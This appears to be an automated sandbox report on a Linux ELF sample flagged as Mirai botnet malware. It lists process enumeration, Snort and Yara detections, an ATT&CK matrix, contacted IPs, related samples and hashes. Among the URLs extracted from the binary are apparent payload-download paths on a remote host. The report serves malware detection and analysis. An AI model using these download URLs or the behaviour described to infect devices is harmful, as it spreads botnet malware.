Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1633/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1599/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1632/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/774/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1477/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/654/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/896/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1476/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2048/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/655/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2289/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/777/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4468/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1639/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1638/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2208/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2180/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1809/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1494/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1890/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2063/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2062/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1888/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1886/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/420/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1489/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/785/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1642/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/788/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/667/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/789/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4477/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1648/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2078/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2077/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2074/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2195/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/670/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2746/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/793/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1656/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1654/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52482
Source: unknown	Network traffic detected: HTTP traffic on port 57114 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: D9UijsgjDB.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: D9UijsgjDB.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Service Stop	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	5 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	4 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
D9UijsgjDB.elf	70%	ReversingLabs	Linux.Trojan.Mirai
D9UijsgjDB.elf	68%	Virustotal		Browse
D9UijsgjDB.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.Gen.o
D9UijsgjDB.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://192.168.0.14:80/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://141.98.10.47/zyxel.sh;	0%	Avira URL Cloud	safe
http://141.98.10.47/bins/x86	0%	Avira URL Cloud	safe
http://192.168.0.14:80/cgi-bin/ViewLog.asp	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://141.98.10.47/zyxel.sh;	D9UijsgjDB.elf	false	Avira URL Cloud: safe	unknown
http://141.98.10.47/bins/x86	D9UijsgjDB.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	D9UijsgjDB.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	D9UijsgjDB.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
219.63.208.43	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
85.108.172.27	unknown	Turkey	9121	TTNETTR	false
31.85.14.95	unknown	United Kingdom	12576	EELtdGB	false
85.111.154.194	unknown	Turkey	9121	TTNETTR	false
85.89.121.153	unknown	Russian Federation	5429	IIP-NET-AS5429RU	false
41.133.63.61	unknown	South Africa	10474	OPTINETZA	false
188.136.134.244	unknown	Iran (ISLAMIC Republic Of)	48309	AGS-ASIR	false
94.204.106.213	unknown	United Arab Emirates	15802	DU-AS1AE	false
197.235.33.43	unknown	Mozambique	37223	VODACOM-MZ	false
112.242.131.196	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
31.115.212.192	unknown	United Kingdom	12576	EELtdGB	false
85.52.91.107	unknown	Spain	12479	UNI2-ASES	false
95.217.66.167	unknown	Germany	24940	HETZNER-ASDE	false
94.114.237.11	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
31.162.19.211	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
62.23.59.125	unknown	United Kingdom	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
112.38.202.140	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
130.117.87.164	unknown	United States	174	COGENT-174US	false
147.112.146.70	unknown	Norway	766	REDIRISRedIRISAutonomousSystemES	false
62.154.36.22	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.216.58.59	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
2.169.76.48	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
86.29.184.127	unknown	United Kingdom	5089	NTLGB	false
94.247.246.88	unknown	Russian Federation	48532	TELEPORTSPB-ASRU	false
31.16.255.155	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
112.66.68.217	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
95.33.71.174	unknown	Germany	9145	EWETELCloppenburgerStrasse310DE	false
95.106.79.101	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.253.223.150	unknown	Croatia (LOCAL Name: Hrvatska)	31012	DCM-ASVipnetdooHR	false
95.6.137.32	unknown	Turkey	9121	TTNETTR	false
94.193.8.129	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
95.255.225.224	unknown	Italy	3269	ASN-IBSNAZIT	false
95.92.102.21	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
31.193.7.99	unknown	United Kingdom	61323	UKFASTGB	false
95.124.218.207	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
31.242.82.138	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
58.15.38.156	unknown	China	17506	UCOMARTERIANetworksCorporationJP	false
72.141.103.237	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
94.11.230.141	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
188.22.62.6	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
112.155.167.30	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
88.130.237.26	unknown	Germany	8881	VERSATELDE	false
223.2.62.252	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
2.107.96.226	unknown	Denmark	3292	TDCTDCASDK	false
193.220.35.245	unknown	Norway	5377	MARLINK-EMEANO	false
88.247.14.39	unknown	Turkey	9121	TTNETTR	false
112.202.128.97	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
88.16.182.189	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
48.49.26.131	unknown	United States	2686	ATGS-MMD-ASUS	false
95.14.46.193	unknown	Turkey	9121	TTNETTR	false
59.166.150.102	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
95.232.220.53	unknown	Italy	3269	ASN-IBSNAZIT	false
31.36.67.84	unknown	France	5410	BOUYGTEL-ISPFR	false
85.146.193.138	unknown	Netherlands	33915	TNF-ASNL	false
41.195.197.32	unknown	South Africa	16637	MTNNS-ASZA	false
85.251.82.17	unknown	Spain	12357	COMUNITELSPAINES	false
197.123.112.69	unknown	Egypt	36992	ETISALAT-MISREG	false
31.42.231.155	unknown	Russian Federation	50060	ANNETRU	false
31.210.249.120	unknown	Sweden	35706	NAOSE	false
62.202.185.170	unknown	Switzerland	12684	SES-LUX-ASLU	false
95.158.119.44	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
95.53.226.229	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
31.163.227.27	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.253.22.178	unknown	Russian Federation	21453	FLEX-ASRU	false
95.20.36.22	unknown	Spain	12479	UNI2-ASES	false
88.37.5.82	unknown	Italy	3269	ASN-IBSNAZIT	false
31.238.199.212	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
95.205.130.81	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
12.251.113.172	unknown	United States	7018	ATT-INTERNET4US	false
31.142.125.242	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
95.239.40.46	unknown	Italy	3269	ASN-IBSNAZIT	false
41.91.11.115	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
31.70.134.104	unknown	United Kingdom	12576	EELtdGB	false
85.21.71.67	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
81.58.142.204	unknown	Belgium	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
31.100.145.58	unknown	United Kingdom	12576	EELtdGB	false
177.20.89.149	unknown	Brazil	53239	CompanhiadeGovernancaEletronicadoSalvadorBR	false
94.215.250.144	unknown	Netherlands	33915	TNF-ASNL	false
196.81.177.75	unknown	Morocco	6713	IAM-ASMA	false
182.38.40.6	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
62.188.238.42	unknown	United Kingdom	702	UUNETUS	false
94.16.9.70	unknown	Germany	42360	SSP-EUROPEpoweredbyANXDE	false
197.164.175.178	unknown	Egypt	24863	LINKdotNET-ASEG	false
31.61.72.86	unknown	Poland	5617	TPNETPL	false
88.238.39.233	unknown	Turkey	9121	TTNETTR	false
41.32.98.101	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.115.3.35	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
95.225.231.183	unknown	Italy	3269	ASN-IBSNAZIT	false
31.100.170.15	unknown	United Kingdom	12576	EELtdGB	false
157.152.98.109	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
170.253.195.233	unknown	United States	46687	MAXXSOUTH-BROADBANDUS	false
31.145.206.243	unknown	Turkey	15924	BORUSANTELEKOM-ASTR	false
85.218.215.61	unknown	Denmark	197288	STOFANETDK	false
88.39.126.57	unknown	Italy	3269	ASN-IBSNAZIT	false
157.108.93.60	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
94.6.4.137	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
85.21.71.57	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
112.205.62.156	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
31.220.220.207	unknown	United Kingdom	42689	GLIDEGB	false
85.216.185.180	unknown	Slovakia (SLOVAK Republic)	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
219.63.208.43	IdTVrdi0dC	Get hash	malicious	Mirai	Browse
94.204.106.213	XP3V62wHRH.elf	Get hash	malicious	Mirai	Browse
197.235.33.43	armv7l-20230709-1715.elf	Get hash	malicious	Mirai	Browse
	arm7-20230303-1520.elf	Get hash	malicious	Mirai, Moobot	Browse
	z0VRfKktZo.elf	Get hash	malicious	Mirai	Browse
	xq3y3yAK5F	Get hash	malicious	Unknown	Browse
85.108.172.27	LarO8Y74N5.elf	Get hash	malicious	Mirai	Browse
31.85.14.95	MtaQNlIGAH.elf	Get hash	malicious	Mirai	Browse
31.85.14.95	mtQlCuSMJb	Get hash	malicious	Mirai	Browse
31.115.212.192	YWeZVFVYfC	Get hash	malicious	Unknown	Browse
85.52.91.107	Hz6yACOgOq	Get hash	malicious	Mirai	Browse
85.52.91.107	vfnSoEdSbN	Get hash	malicious	Mirai	Browse
85.89.121.153	rrnPffQBX8	Get hash	malicious	Mirai	Browse
41.133.63.61	vJCZOQ8e4V.elf	Get hash	malicious	Mirai, Moobot	Browse
	fWcRqZWj6V	Get hash	malicious	Mirai	Browse
	MyZE8SYzbH	Get hash	malicious	Mirai	Browse
188.136.134.244	arm7	Get hash	malicious	Mirai	Browse
188.136.134.244	TFG18FA4eD	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TTNETTR	HzVSmFnQIA.elf	Get hash	malicious	Mirai	Browse	81.213.113.173
	VJIaDGgzsh.elf	Get hash	malicious	Mirai	Browse	78.161.192.201
	oy6sbC7sRI.elf	Get hash	malicious	Mirai	Browse	78.187.118.63
	vsThgNc3Ja.elf	Get hash	malicious	Mirai	Browse	78.165.127.246
	sora.x86.elf	Get hash	malicious	Mirai	Browse	78.171.46.122
	bash.arm7-20231223-0359.elf	Get hash	malicious	Unknown	Browse	88.250.171.83
	fakZXtLw3w.exe	Get hash	malicious	Njrat, RevengeRAT	Browse	85.108.113.75
	HyDSCdUmZh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.247.38.80
	cIUrcTpbFS.elf	Get hash	malicious	Gafgyt	Browse	88.248.29.117
	X7WcQLlcDI.elf	Get hash	malicious	Gafgyt, Mirai	Browse	78.189.82.100
	SlxqVpGGvQ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	78.186.129.149
	Ig4So2ysGW.elf	Get hash	malicious	Gafgyt	Browse	88.248.29.157
	IoMPSoO1Fi.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.248.29.141
	MPjk2Q1nUt.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.247.38.89
	Wv63rJCTZB.elf	Get hash	malicious	Gafgyt, Mirai	Browse	88.247.38.97
	JbGO6770LJ.elf	Get hash	malicious	Gafgyt	Browse	88.248.29.147
	vDkYV65zgH.elf	Get hash	malicious	Gafgyt, Mirai	Browse	78.186.50.181
	arm7-20231212-1319.elf	Get hash	malicious	Mirai	Browse	88.245.9.176
	mpsl-20231212-1319.elf	Get hash	malicious	Mirai	Browse	78.161.56.225
	x86.elf	Get hash	malicious	Unknown	Browse	78.188.19.160
GIGAINFRASoftbankBBCorpJP	T3JZ5uPdFZ.elf	Get hash	malicious	Mirai	Browse	126.141.33.238
	pIDry4zybm.elf	Get hash	malicious	Mirai	Browse	126.24.190.151
	bltgVybKDt.elf	Get hash	malicious	Mirai	Browse	126.179.100.181
	HzVSmFnQIA.elf	Get hash	malicious	Mirai	Browse	126.128.203.100
	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	126.58.120.106
	arm7.elf	Get hash	malicious	Mirai	Browse	126.115.86.43
	e8MXA2TknI.elf	Get hash	malicious	Mirai	Browse	220.53.192.141
	VJIaDGgzsh.elf	Get hash	malicious	Mirai	Browse	61.245.97.70
	IWCeJhhLCU.elf	Get hash	malicious	Mirai	Browse	126.193.237.33
	87JlZxSGgk.elf	Get hash	malicious	Mirai	Browse	219.188.157.53
	sora.arm.elf	Get hash	malicious	Mirai	Browse	123.230.109.38
	la.bot.arm-20231224-0850.elf	Get hash	malicious	Mirai	Browse	126.140.30.13
	la.bot.arm7-20231224-0850.elf	Get hash	malicious	Mirai	Browse	218.119.85.159
	lpZunDkkVn.elf	Get hash	malicious	Mirai, Moobot	Browse	126.241.27.199
	ucNsAA52u4.elf	Get hash	malicious	Mirai, Moobot	Browse	126.87.136.113
	247EUaszG9.elf	Get hash	malicious	Mirai, Moobot	Browse	60.154.127.221
	VJaseV5ZDZ.elf	Get hash	malicious	Mirai, Moobot	Browse	60.95.91.42
	gdbhUbyHV7.elf	Get hash	malicious	Mirai	Browse	126.188.140.210
	MbKnD0kPA0.elf	Get hash	malicious	Mirai	Browse	219.9.116.162
	vsThgNc3Ja.elf	Get hash	malicious	Mirai	Browse	218.136.32.14
EELtdGB	qG7HySLejD.exe	Get hash	malicious	BazaLoader	Browse	2.29.35.45
	aif31Spjyi.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	31.127.34.9
	HzVSmFnQIA.elf	Get hash	malicious	Mirai	Browse	91.111.3.36
	la.bot.arm-20231224-0850.elf	Get hash	malicious	Mirai	Browse	31.73.55.72
	bn0b3xlHFZ.elf	Get hash	malicious	Mirai, Moobot	Browse	31.97.234.209
	j26wE6tjwL.elf	Get hash	malicious	Mirai, Moobot	Browse	31.94.62.238
	sora.arm.elf	Get hash	malicious	Mirai	Browse	178.98.73.61
	4F5W85YGoU.elf	Get hash	malicious	Mirai	Browse	178.106.20.152
	CuruFoiJiK.elf	Get hash	malicious	Mirai	Browse	178.103.193.152
	nig.arm5.elf	Get hash	malicious	Mirai	Browse	31.99.16.102
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	31.124.58.148
	arm7-20231212-1319.elf	Get hash	malicious	Mirai	Browse	31.74.141.218
	x86_64-20231212-1319.elf	Get hash	malicious	Mirai	Browse	95.145.60.71
	Mg26cnzn88.elf	Get hash	malicious	Mirai	Browse	31.118.21.123
	p34XVUW8pN.elf	Get hash	malicious	Mirai	Browse	31.85.75.39
	h7m0G9L0ut.elf	Get hash	malicious	Gafgyt, Mirai	Browse	2.31.204.137
	vXHJy5VjFn.elf	Get hash	malicious	Mirai	Browse	95.144.231.171
	0hrV6HPP3E.elf	Get hash	malicious	Mirai	Browse	31.64.134.60
	28VknHmVIO.elf	Get hash	malicious	Mirai	Browse	31.94.62.229
	GvJmL3JXiO.elf	Get hash	malicious	Mirai	Browse	31.77.209.27

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.51154524872758
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	D9UijsgjDB.elf
File size:	68'144 bytes
MD5:	a960664371d41df2cf345e6c5e3e0fe6
SHA1:	2e672791abdd8ba1295176b94cd03775c84d504e
SHA256:	d3f75e9b495d9bfd3cb05c9876df9ad60c6e7bb45d56cc05f9c1b0d04de7558c
